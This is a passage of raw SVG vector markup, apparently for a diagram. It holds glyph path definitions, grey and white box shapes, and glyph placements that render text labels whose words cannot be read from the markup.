d="M 2.890625 -4.609375 L 0.515625 -9 L 2.0625 -9 L 3.40625 -6.421875 L 3.765625 -5.421875 L 4.140625 -6.421875 L 5.515625 -9 L 6.9375 -9 L 4.53125 -4.6875 L 7.078125 0 L 5.59375 0 L 4.09375 -2.828125 L 3.6875 -3.90625 L 3.28125 -2.828125 L 1.765625 0 L 0.34375 0 Z M 2.890625 -4.609375"/></symbol><symbol overflow="visible" id="z"><path d="M 6.03125 -0.453125 C 5.726562 -0.222656 5.382812 -0.0546875 5 0.046875 C 4.613281 0.160156 4.210938 0.21875 3.796875 0.21875 C 3.222656 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.65625 1.375 -1.0625 C 1.132812 -1.476562 0.957031 -1.976562 0.84375 -2.5625 C 0.726562 -3.144531 0.671875 -3.789062 0.671875 -4.5 C 0.671875 -6.03125 0.941406 -7.195312 1.484375 -8 C 2.023438 -8.8125 2.804688 -9.21875 3.828125 -9.21875 C 4.296875 -9.21875 4.695312 -9.175781 5.03125 -9.09375 C 5.375 -9.007812 5.664062 -8.898438 5.90625 -8.765625 L 5.546875 -7.625 C 5.066406 -7.90625 4.546875 -8.046875 3.984375 -8.046875 C 3.328125 -8.046875 2.832031 -7.757812 2.5 -7.1875 C 2.175781 -6.625 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -4.007812 2.050781 -3.546875 2.125 -3.109375 C 2.195312 -2.679688 2.316406 -2.304688 2.484375 -1.984375 C 2.648438 -1.671875 2.863281 -1.421875 3.125 -1.234375 C 3.394531 -1.046875 3.726562 -0.953125 4.125 -0.953125 C 4.4375 -0.953125 4.726562 -1.003906 5 -1.109375 C 5.269531 -1.222656 5.488281 -1.351562 5.65625 -1.5 Z M 6.03125 -0.453125"/></symbol><symbol overflow="visible" id="A"><path d="M 5.28125 0 L 5.28125 -5.34375 C 5.28125 -5.820312 5.265625 -6.234375 5.234375 -6.578125 C 5.203125 -6.921875 5.132812 -7.195312 5.03125 -7.40625 C 4.9375 -7.625 4.804688 -7.785156 4.640625 -7.890625 C 4.472656 -7.992188 4.253906 -8.046875 3.984375 -8.046875 C 3.566406 -8.046875 3.21875 -7.882812 2.9375 -7.5625 C 2.65625 -7.25 2.460938 -6.890625 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 1.984375 -9 L 2.21875 -8.046875 L 2.265625 -8.046875 C 2.515625 -8.390625 2.8125 -8.671875 3.15625 -8.890625 C 3.507812 -9.109375 3.957031 -9.21875 4.5 -9.21875 C 4.957031 -9.21875 5.332031 -9.117188 5.625 -8.921875 C 5.914062 -8.722656 6.144531 -8.367188 6.3125 -7.859375 C 6.53125 -8.285156 6.835938 -8.617188 7.234375 -8.859375 C 7.640625 -9.097656 8.082031 -9.21875 8.5625 -9.21875 C 8.957031 -9.21875 9.296875 -9.164062 9.578125 -9.0625 C 9.867188 -8.957031 10.097656 -8.773438 10.265625 -8.515625 C 10.441406 -8.265625 10.570312 -7.925781 10.65625 -7.5 C 10.738281 -7.070312 10.78125 -6.535156 10.78125 -5.890625 L 10.78125 0 L 9.484375 0 L 9.484375 -5.71875 C 9.484375 -6.5 9.40625 -7.082031 9.25 -7.46875 C 9.101562 -7.851562 8.757812 -8.046875 8.21875 -8.046875 C 7.769531 -8.046875 7.410156 -7.90625 7.140625 -7.625 C 6.867188 -7.34375 6.675781 -6.960938 6.5625 -6.484375 L 6.5625 0 Z M 5.28125 0"/></symbol><symbol overflow="visible" id="B"><path d="M 1.0625 -9 L 1.984375 -9 L 2.171875 -8.03125 L 2.25 -8.03125 C 2.695312 -8.820312 3.394531 -9.21875 4.34375 -9.21875 C 5.289062 -9.21875 6 -8.863281 6.46875 -8.15625 C 6.945312 -7.445312 7.1875 -6.289062 7.1875 -4.6875 C 7.1875 -3.925781 7.109375 -3.242188 6.953125 -2.640625 C 6.796875 -2.035156 6.570312 -1.519531 6.28125 -1.09375 C 5.988281 -0.664062 5.632812 -0.335938 5.21875 -0.109375 C 4.8125 0.109375 4.359375 0.21875 3.859375 0.21875 C 3.503906 0.21875 3.222656 0.195312 3.015625 0.15625 C 2.816406 0.113281 2.597656 0.0234375 2.359375 -0.109375 L 2.359375 3.59375 L 1.0625 3.59375 Z M 2.359375 -1.421875 C 2.523438 -1.273438 2.710938 -1.160156 2.921875 -1.078125 C 3.128906 -0.992188 3.410156 -0.953125 3.765625 -0.953125 C 4.398438 -0.953125 4.898438 -1.273438 5.265625 -1.921875 C 5.640625 -2.566406 5.828125 -3.492188 5.828125 -4.703125 C 5.828125 -5.203125 5.796875 -5.65625 5.734375 -6.0625 C 5.671875 -6.46875 5.566406 -6.816406 5.421875 -7.109375 C 5.273438 -7.410156 5.085938 -7.640625 4.859375 -7.796875 C 4.640625 -7.960938 4.367188 -8.046875 4.046875 -8.046875 C 3.171875 -8.046875 2.609375 -7.507812 2.359375 -6.4375 Z M 2.359375 -1.421875"/></symbol><symbol overflow="visible" id="C"><path d="M 5.671875 0 L 5.671875 -5.484375 C 5.671875 -6.390625 5.566406 -7.039062 5.359375 -7.4375 C 5.148438 -7.84375 4.773438 -8.046875 4.234375 -8.046875 C 3.753906 -8.046875 3.359375 -7.898438 3.046875 -7.609375 C 2.734375 -7.328125 2.503906 -6.972656 2.359375 -6.546875 L 2.359375 0 L 1.0625 0 L 1.0625 -9 L 2 -9 L 2.234375 -8.046875 L 2.28125 -8.046875 C 2.507812 -8.367188 2.816406 -8.644531 3.203125 -8.875 C 3.597656 -9.101562 4.066406 -9.21875 4.609375 -9.21875 C 4.992188 -9.21875 5.332031 -9.160156 5.625 -9.046875 C 5.914062 -8.941406 6.160156 -8.757812 6.359375 -8.5 C 6.554688 -8.25 6.707031 -7.90625 6.8125 -7.46875 C 6.914062 -7.039062 6.96875 -6.492188 6.96875 -5.828125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="D"><path d="M 3.296875 -3.1875 L 3.671875 -1.4375 L 3.765625 -1.4375 L 4.03125 -3.1875 L 5.40625 -9 L 6.71875 -9 L 4.578125 -0.921875 C 4.398438 -0.273438 4.226562 0.328125 4.0625 0.890625 C 3.894531 1.460938 3.710938 1.953125 3.515625 2.359375 C 3.316406 2.773438 3.09375 3.097656 2.84375 3.328125 C 2.601562 3.566406 2.316406 3.6875 1.984375 3.6875 C 1.640625 3.6875 1.34375 3.632812 1.09375 3.53125 L 1.3125 2.296875 C 1.476562 2.359375 1.644531 2.367188 1.8125 2.328125 C 1.976562 2.296875 2.132812 2.195312 2.28125 2.03125 C 2.4375 1.863281 2.578125 1.613281 2.703125 1.28125 C 2.828125 0.957031 2.941406 0.53125 3.046875 0 L 0.125 -9 L 1.609375 -9 Z M 3.296875 -3.1875"/></symbol><symbol overflow="visible" id="F"><path d="M 6 -3.53125 L 2.4375 -3.53125 L 1.421875 0 L 0.09375 0 L 3.890625 -12.796875 L 4.625 -12.796875 L 8.421875 0 L 7.015625 0 Z M 2.796875 -4.734375 L 5.671875 -4.734375 L 4.578125 -8.625 L 4.234375 -10.515625 L 4.1875 -10.515625 L 3.859375 -8.59375 Z M 2.796875 -4.734375"/></symbol><symbol overflow="visible" id="G"><path d="M 2.234375 -9 L 2.234375 -3.484375 C 2.234375 -2.578125 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.039062 -0.953125 3.53125 -0.953125 C 3.78125 -0.953125 4.003906 -1.003906 4.203125 -1.109375 C 4.398438 -1.210938 4.578125 -1.347656 4.734375 -1.515625 C 4.890625 -1.679688 5.023438 -1.867188 5.140625 -2.078125 C 5.265625 -2.296875 5.363281 -2.519531 5.4375 -2.75 L 5.4375 -9 L 6.734375 -9 L 6.734375 -2.5625 C 6.734375 -2.125 6.75 -1.671875 6.78125 -1.203125 C 6.8125 -0.742188 6.851562 -0.34375 6.90625 0 L 6 0 L 5.671875 -1.265625 L 5.609375 -1.265625 C 5.410156 -0.867188 5.117188 -0.519531 4.734375 -0.21875 C 4.347656 0.0703125 3.867188 0.21875 3.296875 0.21875 C 2.910156 0.21875 2.570312 0.164062 2.28125 0.0625 C 2 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.335938 -0.703125 1.179688 -1.046875 1.078125 -1.484375 C 0.984375 -1.921875 0.9375 -2.484375 0.9375 -3.171875 L 0.9375 -9 Z M 2.234375 -9"/></symbol><symbol overflow="visible" id="H"><path d="M 1.28125 -9 L 2.578125 -9 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.734375 C 1.046875 -12.023438 1.125 -12.257812 1.28125 -12.4375 C 1.445312 -12.613281 1.660156 -12.703125 1.921875 -12.703125 C 2.191406 -12.703125 2.410156 -12.613281 2.578125 -12.4375 C 2.753906 -12.269531 2.84375 -12.035156 2.84375 -11.734375 C 2.84375 -11.441406 2.753906 -11.210938 2.578125 -11.046875 C 2.410156 -10.890625 2.191406 -10.8125 1.921875 -10.8125 C 1.660156 -10.8125 1.445312 -10.894531 1.28125 -11.0625 C 1.125 -11.238281 1.046875 -11.460938 1.046875 -11.734375 Z M 1.046875 -11.734375"/></symbol><symbol overflow="visible" id="I"><path d="M 2.453125 -2.140625 C 2.453125 -1.722656 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.894531 -0.96875 3.09375 -0.96875 C 3.34375 -0.96875 3.640625 -1.035156 3.984375 -1.171875 L 4.109375 -0.125 C 3.953125 -0.03125 3.734375 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.5 1.15625 -0.992188 1.15625 -1.703125 L 1.15625 -12.59375 L 2.453125 -12.59375 Z M 2.453125 -2.140625"/></symbol><symbol overflow="visible" id="J"><path d="M 6.734375 0.40625 C 6.734375 1.570312 6.472656 2.429688 5.953125 2.984375 C 5.441406 3.535156 4.691406 3.8125 3.703125 3.8125 C 3.109375 3.8125 2.617188 3.757812 2.234375 3.65625 C 1.847656 3.5625 1.535156 3.445312 1.296875 3.3125 L 1.671875 2.203125 C 1.910156 2.304688 2.171875 2.40625 2.453125 2.5 C 2.742188 2.59375 3.101562 2.640625 3.53125 2.640625 C 4.257812 2.640625 4.757812 2.4375 5.03125 2.03125 C 5.300781 1.625 5.4375 0.941406 5.4375 -0.015625 L 5.4375 -0.6875 L 5.375 -0.6875 C 5.1875 -0.40625 4.941406 -0.1875 4.640625 -0.03125 C 4.335938 0.125 3.953125 0.203125 3.484375 0.203125 C 2.515625 0.203125 1.800781 -0.171875 1.34375 -0.921875 C 0.894531 -1.671875 0.671875 -2.851562 0.671875 -4.46875 C 0.671875 -6.007812 0.96875 -7.175781 1.5625 -7.96875 C 2.15625 -8.757812 3.03125 -9.15625 4.1875 -9.15625 C 4.757812 -9.15625 5.25 -9.101562 5.65625 -9 C 6.0625 -8.894531 6.421875 -8.769531 6.734375 -8.625 Z M 5.4375 -7.703125 C 5.070312 -7.890625 4.609375 -7.984375 4.046875 -7.984375 C 3.429688 -7.984375 2.9375 -7.703125 2.5625 -7.140625 C 2.195312 -6.585938 2.015625 -5.703125 2.015625 -4.484375 C 2.015625 -3.972656 2.046875 -3.503906 2.109375 -3.078125 C 2.171875 -2.660156 2.269531 -2.289062 2.40625 -1.96875 C 2.550781 -1.65625 2.734375 -1.410156 2.953125 -1.234375 C 3.179688 -1.054688 3.457031 -0.96875 3.78125 -0.96875 C 4.238281 -0.96875 4.597656 -1.085938 4.859375 -1.328125 C 5.117188 -1.566406 5.3125 -1.925781 5.4375 -2.40625 Z M 5.4375 -7.703125"/></symbol><symbol overflow="visible" id="K"><path d="M 5.40625 -11.5 C 5.269531 -11.519531 5.070312 -11.546875 4.8125 -11.578125 C 4.550781 -11.617188 4.296875 -11.640625 4.046875 -11.640625 C 3.734375 -11.640625 3.488281 -11.578125 3.3125 -11.453125 C 3.132812 -11.335938 2.992188 -11.171875 2.890625 -10.953125 C 2.796875 -10.734375 2.738281 -10.457031 2.71875 -10.125 C 2.695312 -9.789062 2.6875 -9.414062 2.6875 -9 L 4.109375 -9 L 4.109375 -7.828125 L 2.6875 -7.828125 L 2.6875 0 L 1.390625 0 L 1.390625 -7.828125 L 0.28125 -7.828125 L 0.28125 -9 L 1.390625 -9 L 1.390625 -9.5 C 1.390625 -10.632812 1.585938 -11.46875 1.984375 -12 C 2.390625 -12.539062 3.066406 -12.8125 4.015625 -12.8125 C 4.203125 -12.8125 4.425781 -12.800781 4.6875 -12.78125 C 4.945312 -12.769531 5.203125 -12.75 5.453125 -12.71875 C 5.703125 -12.6875 5.9375 -12.648438 6.15625 -12.609375 C 6.382812 -12.578125 6.566406 -12.535156 6.703125 -12.484375 L 6.703125 -2.046875 C 6.703125 -1.648438 6.753906 -1.367188 6.859375 -1.203125 C 6.972656 -1.035156 7.132812 -0.953125 7.34375 -0.953125 C 7.601562 -0.953125 7.90625 -1.019531 8.25 -1.15625 L 8.328125 -0.109375 C 8.171875 -0.015625 7.957031 0.0625 7.6875 0.125 C 7.425781 0.1875 7.164062 0.21875 6.90625 0.21875 C 6.457031 0.21875 6.09375 0.078125 5.8125 -0.203125 C 5.539062 -0.492188 5.40625 -0.988281 5.40625 -1.6875 Z M 5.40625 -11.5"/></symbol><symbol overflow="visible" id="U"><path d="M 0 2.515625 L 6.015625 2.515625 L 6.015625 3.6875 L 0 3.6875 Z M 0 2.515625"/></symbol><symbol overflow="visible" id="V"><path d="M 5.875 -9 L 7.46875 -3.75 L 7.796875 -2.015625 L 7.828125 -2.015625 L 8.09375 -3.78125 L 9.328125 -9 L 10.546875 -9 L 8.15625 0.203125 L 7.421875 0.203125 L 5.59375 -5.703125 L 5.34375 -7.21875 L 5.3125 -7.21875 L 5.0625 -5.6875 L 3.296875 0.203125 L 2.5625 0.203125 L 0.09375 -9 L 1.46875 -9 L 2.859375 -3.765625 L 3.078125 -2.015625 L 3.109375 -2.015625 L 3.4375 -3.796875 L 4.90625 -9 Z M 5.875 -9"/></symbol><symbol overflow="visible" id="W"><path d="M 7.21875 0 L 1.15625 0 L 1.15625 -12.59375 L 2.5 -12.59375 L 2.5 -1.234375 L 7.21875 -1.234375 Z M 7.21875 0"/></symbol><symbol overflow="visible" id="X"><path d="M 1.6875 -1.203125 L 3.71875 -1.203125 L 3.71875 -9.96875 L 3.890625 -11.03125 L 3.28125 -10.171875 L 1.765625 -8.953125 L 1.078125 -9.75 L 4.359375 -12.8125 L 5.015625 -12.8125 L 5.015625 -1.203125 L 6.984375 -1.203125 L 6.984375 0 L 1.6875 0 Z M 1.6875 -1.203125"/></symbol><symbol overflow="visible" id="Y"><path d="M 5.671875 0 L 5.671875 -5.46875 C 5.671875 -6.3125 5.570312 -6.953125 5.375 -7.390625 C 5.175781 -7.828125 4.78125 -8.046875 4.1875 -8.046875 C 3.769531 -8.046875 3.390625 -7.894531 3.046875 -7.59375 C 2.703125 -7.289062 2.472656 -6.914062 2.359375 -6.46875 L 2.359375 0 L 1.0625 0 L 1.0625 -12.59375 L 2.359375 -12.59375 L 2.359375 -8.15625 L 2.40625 -8.15625 C 2.644531 -8.46875 2.941406 -8.722656 3.296875 -8.921875 C 3.648438 -9.117188 4.09375 -9.21875 4.625 -9.21875 C 5.019531 -9.21875 5.363281 -9.160156 5.65625 -9.046875 C 5.957031 -8.941406 6.203125 -8.753906 6.390625 -8.484375 C 6.578125 -8.222656 6.71875 -7.875 6.8125 -7.4375 C 6.914062 -7 6.96875 -6.457031 6.96875 -5.8125 L 6.96875 0 Z M 5.671875 0"/></symbol><symbol overflow="visible" id="Z"><path d="M 0.578125 -1.171875 L 3.921875 -7.0625 L 4.546875 -7.828125 L 0.578125 -7.828125 L 0.578125 -9 L 5.828125 -9 L 5.828125 -7.828125 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.828125 -1.171875 L 5.828125 0 L 0.578125 0 Z M 0.578125 -1.171875"/></symbol><symbol overflow="visible" id="aa"><path d="M 7.734375 -0.484375 C 7.441406 -0.234375 7.066406 -0.0546875 6.609375 0.046875 C 6.148438 0.160156 5.671875 0.21875 5.171875 0.21875 C 4.535156 0.21875 3.945312 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.800781 1.3125 -2.472656 1.09375 -3.296875 C 0.882812 -4.128906 0.78125 -5.128906 0.78125 -6.296875 C 0.78125 -7.492188 0.898438 -8.503906 1.140625 -9.328125 C 1.390625 -10.160156 1.71875 -10.832031 2.125 -11.34375 C 2.53125 -11.863281 3 -12.238281 3.53125 -12.46875 C 4.070312 -12.695312 4.625 -12.8125 5.1875 -12.8125 C 5.757812 -12.8125 6.234375 -12.769531 6.609375 -12.6875 C 6.992188 -12.601562 7.320312 -12.503906 7.59375 -12.390625 L 7.265625 -11.15625 C 7.023438 -11.289062 6.742188 -11.394531 6.421875 -11.46875 C 6.097656 -11.539062 5.726562 -11.578125 5.3125 -11.578125 C 4.894531 -11.578125 4.5 -11.484375 4.125 -11.296875 C 3.75 -11.109375 3.414062 -10.804688 3.125 -10.390625 C 2.84375 -9.984375 2.617188 -9.441406 2.453125 -8.765625 C 2.285156 -8.097656 2.203125 -7.273438 2.203125 -6.296875 C 2.203125 -4.546875 2.5 -3.226562 3.09375 -2.34375 C 3.695312 -1.46875 4.492188 -1.03125 5.484375 -1.03125 C 5.898438 -1.03125 6.269531 -1.085938 6.59375 -1.203125 C 6.914062 -1.316406 7.191406 -1.453125 7.421875 -1.609375 Z M 7.734375 -0.484375"/></symbol></defs><path fill="#fff" d="M0 0H722V514H0z"/><path d="M 24.2362 40.852794 L 60.101239 40.852794 L 60.101239 66.190294 L 24.2362 66.190294 Z M 24.2362 40.852794" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" fill="#fff" stroke-width=".1" stroke="#fff" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 62.446153 L 57.100262 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.643622 44.584239 L 26.643622 44.584239 C 26.477997 44.584239 26.343622 44.718419 26.343622 44.884239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 44.884239 C 57.400262 44.718419 57.266083 44.584239 57.100262 44.584239" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 44.884239 L 26.343622 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.400262 44.884239 L 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 26.343622 62.146153 L 26.343622 62.146153 C 26.343622 62.311778 26.477997 62.446153 26.643622 62.446153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 57.100262 62.446153 L 57.100262 62.446153 C 57.266083 62.446153 57.400262 62.311778 57.400262 62.146153" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#b3b3b3" stroke-miterlimit="10"/><path d="M 81.667969 125.710938 L 176.96875 125.710938 L 176.96875 151.960938 L 81.667969 151.960938 Z M 81.667969 125.710938" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="146.359"/><use xlink:href="#b" x="93.102" y="146.359"/><use xlink:href="#b" x="102.008" y="146.359"/><use xlink:href="#c" x="110.914" y="146.359"/><use xlink:href="#d" x="116.773" y="146.359"/><use xlink:href="#e" x="125.328" y="146.359"/><use xlink:href="#f" x="132.32" y="146.359"/><use xlink:href="#g" x="136.422" y="146.359"/><use xlink:href="#h" x="141.285" y="146.359"/><use xlink:href="#i" x="145.777" y="146.359"/><use xlink:href="#d" x="154.762" y="146.359"/><use xlink:href="#f" x="163.316" y="146.359"/><use xlink:href="#j" x="167.418" y="146.359"/><path d="M 197.3125 118.835938 L 605.3125 118.835938 L 605.3125 158.835938 L 197.3125 158.835938 Z M 197.3125 118.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 124.835938 L 197.3125 118.835938 C 194 118.835938 191.3125 121.519531 191.3125 124.835938 Z M 197.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 124.835938 L 611.3125 124.835938 C 611.3125 121.519531 608.625 118.835938 605.3125 118.835938 Z M 605.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 124.835938 L 611.3125 124.835938 L 611.3125 152.835938 L 191.3125 152.835938 Z M 191.3125 124.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 152.835938 L 191.3125 152.835938 C 191.3125 156.148438 194 158.835938 197.3125 158.835938 Z M 197.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 152.835938 L 605.3125 158.835938 C 608.625 158.835938 611.3125 156.148438 611.3125 152.835938 Z M 605.3125 152.835938" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 46.460997 L 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 48.460997 L 54.451825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 46.460997 L 34.051825 46.460997 C 33.8862 46.460997 33.751825 46.595177 33.751825 46.760997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 46.760997 C 54.751825 46.595177 54.61745 46.460997 54.451825 46.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 46.760997 L 33.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 46.760997 L 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 48.160997 L 33.751825 48.160997 C 33.751825 48.326622 33.8862 48.460997 34.051825 48.460997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 48.460997 L 54.451825 48.460997 C 54.61745 48.460997 54.751825 48.326622 54.751825 48.160997" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 191.3125 161.433594 L 432.511719 161.433594 L 432.511719 184.832031 L 191.3125 184.832031 Z M 191.3125 161.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#k" x="191.313" y="179.836"/><use xlink:href="#l" x="199.008" y="179.836"/><use xlink:href="#m" x="203.949" y="179.836"/><use xlink:href="#n" x="208.891" y="179.836"/><use xlink:href="#n" x="216.215" y="179.836"/><use xlink:href="#l" x="223.656" y="179.836"/><use xlink:href="#o" x="228.598" y="179.836"/><use xlink:href="#p" x="232.406" y="179.836"/><use xlink:href="#q" x="239.613" y="179.836"/><use xlink:href="#q" x="247.406" y="179.836"/><use xlink:href="#m" x="255.199" y="179.836"/><use xlink:href="#n" x="260.141" y="179.836"/><use xlink:href="#r" x="267.582" y="179.836"/><use xlink:href="#r" x="273.656" y="179.836"/><use xlink:href="#s" x="279.73" y="179.836"/><use xlink:href="#o" x="281.898" y="179.836"/><use xlink:href="#t" x="285.707" y="179.836"/><use xlink:href="#u" x="291.957" y="179.836"/><use xlink:href="#v" x="295.16" y="179.836"/><use xlink:href="#u" x="304.633" y="179.836"/><use xlink:href="#o" x="306.664" y="179.836"/><use xlink:href="#w" x="310.473" y="179.836"/><use xlink:href="#x" x="318.285" y="179.836"/><use xlink:href="#y" x="325.746" y="179.836"/><use xlink:href="#s" x="333.168" y="179.836"/><use xlink:href="#o" x="335.336" y="179.836"/><use xlink:href="#z" x="339.145" y="179.836"/><use xlink:href="#x" x="345.258" y="179.836"/><use xlink:href="#A" x="353.031" y="179.836"/><use xlink:href="#B" x="364.75" y="179.836"/><use xlink:href="#p" x="372.582" y="179.836"/><use xlink:href="#C" x="379.789" y="179.836"/><use xlink:href="#D" x="387.699" y="179.836"/><use xlink:href="#o" x="393.988" y="179.836"/><use xlink:href="#C" x="397.797" y="179.836"/><use xlink:href="#p" x="405.707" y="179.836"/><use xlink:href="#A" x="412.914" y="179.836"/><use xlink:href="#n" x="424.633" y="179.836"/></g><path d="M 48.157489 51.129552 L 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 44.694989 51.12545 C 44.695184 51.00045 44.82038 50.875645 44.94538 50.875645 C 45.07038 50.875841 45.195184 51.001036 45.194989 51.126036 C 45.194794 51.251036 45.069794 51.375841 44.944794 51.375645 C 44.819794 51.375645 44.694794 51.25045 44.694989 51.12545" transform="matrix(20 0 0 20 -483.724 -810.384)" fill-rule="evenodd" stroke-width=".1" stroke="#000" stroke-miterlimit="10"/><path d="M 81.667969 207.042969 L 176.96875 207.042969 L 176.96875 233.292969 L 81.667969 233.292969 Z M 81.667969 207.042969" fill-rule="evenodd" fill="#fff"/><use xlink:href="#a" x="83.082" y="227.695"/><use xlink:href="#b" x="93.102" y="227.695"/><use xlink:href="#b" x="102.008" y="227.695"/><use xlink:href="#c" x="110.914" y="227.695"/><use xlink:href="#d" x="116.773" y="227.695"/><use xlink:href="#e" x="125.328" y="227.695"/><use xlink:href="#f" x="132.32" y="227.695"/><use xlink:href="#g" x="136.422" y="227.695"/><use xlink:href="#h" x="141.285" y="227.695"/><use xlink:href="#i" x="145.777" y="227.695"/><use xlink:href="#d" x="154.762" y="227.695"/><use xlink:href="#f" x="163.316" y="227.695"/><use xlink:href="#E" x="167.418" y="227.695"/><path d="M 197.3125 200.167969 L 605.3125 200.167969 L 605.3125 240.167969 L 197.3125 240.167969 Z M 197.3125 200.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 206.167969 L 197.3125 200.167969 C 194 200.167969 191.3125 202.855469 191.3125 206.167969 Z M 197.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 206.167969 L 611.3125 206.167969 C 611.3125 202.855469 608.625 200.167969 605.3125 200.167969 Z M 605.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 191.3125 206.167969 L 611.3125 206.167969 L 611.3125 234.167969 L 191.3125 234.167969 Z M 191.3125 206.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 197.3125 234.167969 L 191.3125 234.167969 C 191.3125 237.480469 194 240.167969 197.3125 240.167969 Z M 197.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 605.3125 234.167969 L 605.3125 240.167969 C 608.625 240.167969 611.3125 237.480469 611.3125 234.167969 Z M 605.3125 234.167969" fill-rule="evenodd" fill="#f2f2f2"/><path d="M 34.051825 50.527598 L 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 52.527598 L 54.451825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 34.051825 50.527598 L 34.051825 50.527598 C 33.8862 50.527598 33.751825 50.661973 33.751825 50.827598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 50.827598 C 54.751825 50.661973 54.61745 50.527598 54.451825 50.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 50.827598 L 33.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.751825 50.827598 L 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 33.751825 52.227598 L 33.751825 52.227598 C 33.751825 52.393223 33.8862 52.527598 34.051825 52.527598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 54.451825 52.527598 L 54.451825 52.527598 C 54.61745 52.527598 54.751825 52.393223 54.751825 52.227598" transform="matrix(20 0 0 20 -483.724 -810.384)" fill="none" stroke-width=".1" stroke="#4d4d4d" stroke-miterlimit="10"/><path d="M 190.8125 242.433594 L 415.710938 242.433594 L 415.710938 265.832031 L 190.8125 265.832031 Z M 190.8125 242.433594" fill-rule="evenodd" fill="#fff"/><g fill="#4d4d4d"><use xlink:href="#F" x="190.813" y="260.836"/><use xlink:href="#B" 